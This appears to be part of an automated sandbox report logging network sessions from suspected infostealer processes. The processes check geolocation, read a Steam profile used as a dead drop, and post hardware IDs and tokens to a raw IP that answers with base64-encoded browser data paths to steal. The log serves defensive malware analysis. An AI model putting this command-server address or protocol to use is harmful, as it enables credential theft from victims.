CF-RAY: 8793bd25aef3527b-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:37:00 UTC	459	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 34 36 32 65 32 33 32 61 33 36 30 36 37 34 32 66 33 36 36 38 32 62 32 33 37 39 33 35 33 33 32 34 32 63 32 33 32 35 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#462e232a3606742f36682b23793533242c2325
2024-04-24 05:37:00 UTC	363	IN	Data Raw: d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 63 34 61 63 61 31 61 38 62 34 38 34 66 36 61 64 62 34 65 61 62 31 61 35 66 62 62 37 62 31 61 36 61 65 61 31 61 37 62 30 66 39 66 36 61 64 62 34 65 61 62 31 61 35 22 3e 3c 73 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#c4aca1a8b484f6adb4eab1a5fbb7b1a6aea1a7b0f9f6adb4eab1a5"><s
2024-04-24 05:37:00 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 05:37:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.139.220	443	2312	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:00 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 05:37:01 UTC	914	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 05:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yJQ179oQ8hkhxFk6zh1vvCm5VsTE0FK5Gnfh%2B%2BSDElLlFC53NTJ5ebK%2FBpSuYmdbQql07NSvWbQTDapdlfmz0983A49LKwCjKVCbHwfD9Sdj0I4aD7KQOMzT7%2BTf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793bd2bca1208d8-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:37:01 UTC	455	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 39 30 31 30 63 30 35 31 39 32 39 35 62 30 30 31 39 34 37 30 34 30 63 35 36 31 61 31 63 30 62 30 33 30 63 30 61 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#69010c0519295b001947040c561a1c0b030c0a
2024-04-24 05:37:01 UTC	367	IN	Data Raw: ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 37 30 31 38 31 35 31 63 30 30 33 30 34 32 31 39 30 30 35 65 30 35 31 31 34 66 30 33 30 35 31 32 31 61 31 35 31 33 30 34 34 64 34 32 31 39 30 30 35 65 30 35 31 31 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#7018151c00304219005e05114f0305121a1513044d4219005e0511
2024-04-24 05:37:01 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 05:37:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	184.30.90.143	443	6232	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:06 UTC	119	OUT	GET /profiles/76561199673019888 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 05:37:06 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 24 Apr 2024 05:37:06 GMT Content-Length: 33790 Connection: close Set-Cookie: sessionid=d624a8886363f5e88ba7e1ed; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C8efca4b9dedd65f9ac922759639cacad; Path=/; Secure; HttpOnly; SameSite=None
2024-04-24 05:37:06 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-04-24 05:37:06 UTC	16384	IN	Data Raw: 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6c 69 6e 6b 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 70 75 6c 6c 64 6f 77 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 53 68 6f 77 4d 65 6e 75 28 20 74 68 69 73 2c 20 27 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 27 2c 20 27 72 69 67 68 74 27 20 29 3b 22 3e 6c 61 6e 67 75 61 67 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6c 6f 63 6b 5f 6e 65 77 22 20 69 64 3d 22 6c 61 6e 67 75 61 67 65 5f 64 72 6f 70 64 6f 77 6e 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3e 0d 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 62 6f 64 79 20 70 6f 70 75 70 5f 6d 65 6e 75 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 Data Ascii: obal_action_link" id="language_pulldown" onclick="ShowMenu( this, 'language_dropdown', 'right' );">language</span><div class="popup_block_new" id="language_dropdown" style="display: none;"><div class="popup_body popup_menu">
2024-04-24 05:37:06 UTC	2892	IN	Data Raw: 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 75 6e 74 5f 6c 69 6e 6b 5f 70 72 65 76 69 65 77 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6c 65 61 72 3a 20 6c 65 66 74 3b 22 3e 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 0d 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 6d 61 69 6e 74 61 69 6e 58 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 62 46 6f 63 75 73 52 69 6e 67 52 6f 6f 74 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f Data Ascii: <div class="profile_count_link_preview"><div style="clear: left;"></div></div></div></div><div data-panel="{"maintainX":true,"bFocusRingRoot":true,&quo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	172.67.139.220	443	3228	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:07 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 05:37:08 UTC	908	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 05:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jsy5mmo6kjmzuJGiR%2BDXyLYHeU6ZNfWKSDxmXvNGtUreZgd15XIsCmL6kHEnT7OGW4XgytuRw5SOrfJ3K5kzEYhJsy8aCAbWTs5fKSV2LDdZ7CvzAnQ7kFXVVmJs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793bd5839957d01-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:37:08 UTC	461	IN	Data Raw: 33 39 62 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 39 32 66 61 66 37 66 65 65 32 64 32 61 30 66 62 65 32 62 63 66 66 66 37 61 64 65 31 65 37 66 30 66 38 66 37 66 31 Data Ascii: 39b<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#92faf7fee2d2a0fbe2bcfff7ade1e7f0f8f7f1
2024-04-24 05:37:08 UTC	469	IN	Data Raw: d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 35 36 33 65 33 33 33 61 32 36 31 36 36 34 33 66 32 36 37 38 32 33 33 37 36 39 32 35 32 33 33 34 33 63 33 33 33 35 32 32 36 62 36 34 33 66 32 36 37 38 32 33 33 37 22 3e 3c 73 70 61 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#563e333a2616643f26782337692523343c3335226b643f26782337"><spa
2024-04-24 05:37:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49738	95.217.9.149	443	6232	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:07 UTC	169	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 05:37:08 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 05:37:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 05:37:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49740	95.217.9.149	443	6232	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:09 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECB User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 279 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 05:37:09 UTC	279	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 44 46 41 34 33 33 34 38 39 45 42 33 32 39 34 35 36 34 35 34 37 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="hwid"0DFA433489EB3294564547-a33c7340-61ca-11ee-8c18-806e6f6e6963------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------
2024-04-24 05:37:10 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 05:37:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 05:37:10 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 39 39 35 30 63 32 62 65 39 30 64 33 66 31 64 32 39 35 34 39 35 31 35 38 63 38 38 37 32 30 32 33 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|9950c2be90d3f1d295495158c8872023\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	95.217.9.149	443	6232	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:11 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDHJEGIEBFHDGDGHDHI User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 05:37:11 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 35 30 63 32 62 65 39 30 64 33 66 31 64 32 39 35 34 39 35 31 35 38 63 38 38 37 32 30 32 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 48 44 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="token"9950c2be90d3f1d295495158c8872023------DGDHJEGIEBFHDGDGHDHIContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------DGDHJEGIEBFHDGDGHDHICont
2024-04-24 05:37:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 05:37:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-04-24 05:37:12 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	95.217.9.149	443	6232	C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:37:13 UTC	261	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDAAEHDHIIJKECBKEBA User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 Host: 95.217.9.149 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-04-24 05:37:13 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 35 30 63 32 62 65 39 30 64 33 66 31 64 32 39 35 34 39 35 31 35 38 63 38 38 37 32 30 32 33 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 37 30 36 64 63 36 63 39 32 30 32 34 33 30 62 63 36 66 62 32 65 37 34 38 39 36 64 38 33 31 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 45 48 44 48 49 49 4a 4b 45 43 42 4b 45 42 41 0d 0a 43 6f 6e 74 Data Ascii: ------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="token"9950c2be90d3f1d295495158c8872023------BGDAAEHDHIIJKECBKEBAContent-Disposition: form-data; name="build_id"1706dc6c9202430bc6fb2e74896d8311------BGDAAEHDHIIJKECBKEBACont
2024-04-24 05:37:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 05:37:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
